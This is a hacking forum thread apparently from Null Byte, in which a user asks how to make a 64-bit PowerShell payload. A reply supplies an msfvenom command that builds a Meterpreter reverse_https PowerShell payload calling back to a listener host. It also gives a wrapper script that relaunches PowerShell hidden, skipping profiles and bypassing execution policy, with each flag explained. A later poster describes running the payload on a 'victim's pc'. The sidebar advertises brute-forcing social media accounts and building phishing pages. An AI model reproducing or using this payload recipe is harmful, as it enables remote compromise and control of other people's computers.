Ok im using kali linux and i try to create a powershell x64 payload but its only creating x86 payloads.
I found a couple of tutorials searching google but they were not so clear.
If someone could help, i just want to create a powershell payload that would work on x64 computer.
Thanks and long live Null Byte.
Forum Thread: Powershell Payload Problem
- Hot
- Active
-
Forum Thread: How to Hack a Website to Edit It 19 Replies
1 day ago -
Forum Thread: Hack Instagram Account Using BruteForce 194 Replies
2 days ago -
Forum Thread: Android Doesn't Connect Back to Metasploit with App Payload? 18 Replies
2 days ago -
Forum Thread: Hacking Facebook,Twitter,Instagram Account Passwords with BruteForce 156 Replies
2 days ago -
Forum Thread: Kali Linux WiFi Problem? 41 Replies
4 days ago -
How to: HACK Android Device with TermuX on Android | Part #1 - Over the Internet [Ultimate Guide] 173 Replies
4 days ago -
Forum Thread: How to Start Listening Connections on Metaslpoit (WINDOWS) 8 Replies
5 days ago -
Forum Thread: Grab Target's Webcam by Link 4 Replies
5 days ago -
How to: HACK Android Device with TermuX on Android | Part #2 - Over WLAN Hotspot [Ultimate Guide] 24 Replies
6 days ago -
Forum Thread: Complete Guide to Creating and Hosting a Phishing Page for Beginners 41 Replies
1 wk ago -
Forum Thread: No Wireless Extensions in Linux Debian 3 Replies
2 wks ago -
How to: Sign the APK File with Embedded Payload (The Ultimate Guide) 6 Replies
2 wks ago -
Forum Thread: Bruteforce Password Cracker (ghoster_brute) 6 Replies
2 wks ago -
Forum Thread: Txpower Adjustment? 17 Replies
2 wks ago -
Forum Thread: How to Controll Multiple Devices Using a Meterpreter ? 4 Replies
2 wks ago -
Forum Thread: Delete Infected Apk from Victim Phone Remotely 1 Replies
2 wks ago -
How to: Install Metasploit Framework on Android | Part #1 - in TermuX 81 Replies
3 wks ago -
Forum Thread: The Most Anonymous Reconnaissance Technique? 1 Replies
3 wks ago -
Forum Thread: Tp-Link wn8200nd 2 Replies
3 wks ago -
Forum Thread: How to Identify and Crack Hashes 6 Replies
3 wks ago
-
How To: Null Byte's Hacker Guide to Buying an ESP32 Camera Module That's Right for Your Project
-
How To: Perform Keystroke Injection Attacks Over Wi-Fi with Your Smartphone
-
How to Hack Wi-Fi: Cracking WPA2 Passwords Using the New PMKID Hashcat Attack
-
How to Hack Wi-Fi: Stealing Wi-Fi Passwords with an Evil Twin Attack
-
How To: Get an Internet Connection in the Middle of Nowhere to Hack Remotely
-
Android for Hackers: How to Turn an Android Phone into a Hacking Device Without Root
-
How To: Brute-Force Nearly Any Website Login with Hatch
-
How To: 4 Ways to Crack a Facebook Password & How to Protect Yourself from Them
-
How To: Crack Password-Protected ZIP Files, PDFs & More with Zydra
-
How To: Hunt Down Social Media Accounts by Usernames with Sherlock
-
How To: Hack WiFi Using a WPS Pixie Dust Attack
-
How To: Top 10 Things to Do After Installing Kali Linux
-
How To: Crack Shadow Hashes After Getting Root on a Linux System
-
How To: Crack SSH Private Key Passwords with John the Ripper
-
How To: Spy on Traffic from a Smartphone with Wireshark
-
BT Recon: How to Snoop on Bluetooth Devices Using Kali Linux
-
How To: Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019
-
How To: Gain SSH Access to Servers by Brute-Forcing Credentials
-
How To: Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi Deauther
-
How To: Hack Wi-Fi & Networks More Easily with Lazy Script
14 Responses
Xorion2:
First, what exploit are you using the payload with?
Second, is Metasploit installed on a x86 system or x64?
OTW
I use the alphanumeric payload in setoolkit---powershell attack vector--- alphanumeric shellcode injector.
I use both nethunter on my nexus 5 and nexus 7(2013) and kali on my 64 bits laptop and i get the same problem on all the devices , its only creating x86 payloads.
I want to run the payload on my laptop but im sure a x86 payload won't do it.
To make it clear kali is in virtualbox on my 8.1 laptop and i want to run the payload on the windows side.
Can you show us a screenshot?
Thats a screenshot of the final process, i just black out my ip address.
As you can see im not asked to create a x64 payload it straight go and create a x86 one.
I believe there is only a x86 Powershell payload in Metasploit.
I think it would be a good project for you to create a x64 Powershell payload.
Thats what i was thinking, i will try to do that but i would need guidance on what needs to be modify in the script to make it work .
I don't know about making the payload work with what your trying to do with SET, but I can show you how to make a 64 bit powershell payload if you are interested.
That would be great.
How?
It has been a while since I discussed this, but in regards to computer science and not hacking, x64 has far more potential due to its backwards compatibility with x86 programs. I'm new to kali so I cannot offer advice on what to do besides switch to a 64 bit shell. There are probably people out there (Like the post above) who can make one though.
Ok, let me start by apologizing. I created a How To that would have explained this and so much more but never posted it. Anyways...
There are 64 bit payloads in metasploit and are located in the usr/share/metasploit-framework/modules/payloads directory. Just look for the x64 directory located in what ever payload type you are looking for (singles, stagers, stages).
However if you want to make a 32 bit payload work on a 64 bit windows machine with powershell you simply have to add the following IF statement to the very beginning of the script.
if ($env:Processor_Architecture -ne "x86")
{
&"$env:windir\syswow64\windowspowershell\v1.0\powershell.exe" –noexit -noninteractive -noprofile -file $myinvocation.Mycommand.path -executionpolicy bypass
exit
}
This statement tells the natively called powershell (32 bit powershell on 32 bit machines and 64 bit powershell on 64 bit machines) to check the processor architecture. If it is not 32 bit then it will call the 32 bit powershell located in the syswow64 directory with the following parameters.
-noexit (tells powershell not to exit once the script is executed)
-noninteractive (opens powershell in the background)
-noprofile (bypasses any profiles that may keep the script from executing)
-file $myinvocation.Mycommand.path (tells powershell what script called it so it can continue on with the payload)
-executionpolicy bypass (bypasses any execution policies that may keep the script from executing)
So to use this in an example we can create a powershell payload with msfvenom like this
root@Kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 -f psh -o /root/Desktop/powershell_win_met_https.ps1
Command explained:
msfvenom calls the program
-p specifies the payload to use
LHOST & LPORT sets the payloads options
-f specifies the output format
-o specifies were to save the payload
Then we just open the newly created file with any text editor and add the above IF statement to the very beginning.
Thanks a lot i will try that.
Thanks for that Dill.
Good and valuable info.
You are welcome, I hope it helps.
Hello! my problem is this when I run powershell payload on my virtual machine it works fine but when I execute this payload in someone pc and wait for starting the payload handler it does not start even the payload successfully ran in victim's pc please help
Share Your Thoughts